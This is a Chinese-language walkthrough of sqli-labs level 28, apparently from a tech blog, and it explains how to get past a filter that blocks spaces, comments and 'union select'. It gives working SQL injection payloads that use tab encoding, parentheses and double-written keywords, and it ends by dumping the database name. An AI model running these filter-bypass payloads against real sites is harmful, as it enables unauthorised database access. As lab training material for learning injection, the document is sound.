当前位置: 首页 > article >正文

sqli-labs第二十八关——Trick with ‘union select‘

一:分析

这一关的提示和上一关一样,所以我们查看源码,屏蔽了注释符,空格,union,select等关键词

 分析这一条源码的几个新增添符号

\s:

匹配任何的空白字符(普通空格,\t(%09),\n(%0a),\r(%0d)等),只屏蔽空白符号,不屏蔽其url编码

+:

匹配前一个字符一次或者多次:这里的前一个字符是\s,也就是说明,以下代码都将被过滤

union select(单空格) 
union      select(多空格)
union%09%0aselect(混合空白符)

/i:

使得匹配忽略大小写,所以这一关也不能用大小写绕过注入

conclusion1:

这一关我们用 ||’ 代替注释符,双写绕过union select 的过滤,空格可以用括号闭合

举几个括号闭合的例子:

union select 1,2,3--+
union(select(1),(2),(3))--+and 1=1--+
and(1)=(1)--+order by 2--+
order(by(2))--+

加括号的规则:

1.关键词直接用括号连起来

union select
union(select

2.参数用括号包裹,运算符不动

1,2,3
(1),(2),(3)

conclution2: 注释符被过滤时的代替方案

1:||’1 逻辑闭合

2:and ('1'=%271

二:判断注入类型:

尝试?id=1',?id=1'),这两种类型的时候报错

尝试闭合,单引号闭合成功

三:开始攻击

 1.用union select查找列数(两种方法)

嵌套一个union select

?id=-1')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

 回显失败,我们观察下面的提示,发现输入的 ?id=-1 被过滤成了 ?id=1

于是尝试?id=999 

?id=-1')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

成功回显

?id=999')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

2.爆数据库名

?id=999')%09ununion%09selection%09select%091,database(),3%09and%09('1'='1

 ❀❀❀ 完结撒花!!!❀❀❀

http://www.lryc.cn/news/2392808.html

相关文章:

  • mapbox高阶,PMTiles介绍,MBTiles、PMTiles对比,加载PMTiles文件
  • Go语言通道如何实现通信
  • 投稿 IEEE Transactions on Knowledge and Data Engineering 注意事项
  • 题目 3316: 蓝桥杯2025年第十六届省赛真题-数组翻转
  • mongodb源码分析session接受客户端find命令过程
  • Netty 实战篇:为自研 RPC 框架加入异步调用与 Future 支持
  • python37天打卡
  • 变焦位移计:机器视觉如何克服人工疲劳与主观影响?精准对结构安全实时监测
  • 嵌入式硬件篇---Ne555定时器
  • 【Axure结合Echarts绘制图表】
  • 使用web3工具结合fiscobcos网络部署调用智能合约
  • Oracle/openGauss中,DATE/TIMESTAMP与数字日期/字符日期比较
  • Datatable和实体集合互转
  • Win11切换JDK版本批处理脚本
  • 爬虫学习-Scrape Center spa6 超简单 JS 逆向
  • 对数的运算困惑
  • C++ 图像处理库 CxImage 简介 (迁移至OpenCV)
  • linux系统与shell 笔记
  • 尚硅谷redis7 86 redis集群分片之3主3从集群搭建
  • Kaggle-Predict Calorie Expenditure-(回归+xgb+cat+lgb+模型融合+预测结果)
  • 【解决办法】Git报错error: src refspec main does not match any.
  • React与Vue的内置指令对比
  • 2025年5月24号高项综合知识真题以及答案解析(第1批次)
  • 【NATURE氮化镓】GaN超晶格多沟道场效应晶体管的“闩锁效应”
  • Ubuntu24.04换源方法(新版源更换方式,包含Arm64)
  • 26 C 语言函数深度解析:定义与调用、返回值要点、参数机制(值传递)、原型声明、文档注释
  • 彻底理解一个知识点的具体步骤
  • FFmpeg 时间戳回绕处理:保障流媒体时间连续性的核心机制
  • yolov8改进模型
  • PostgreSQL日常运维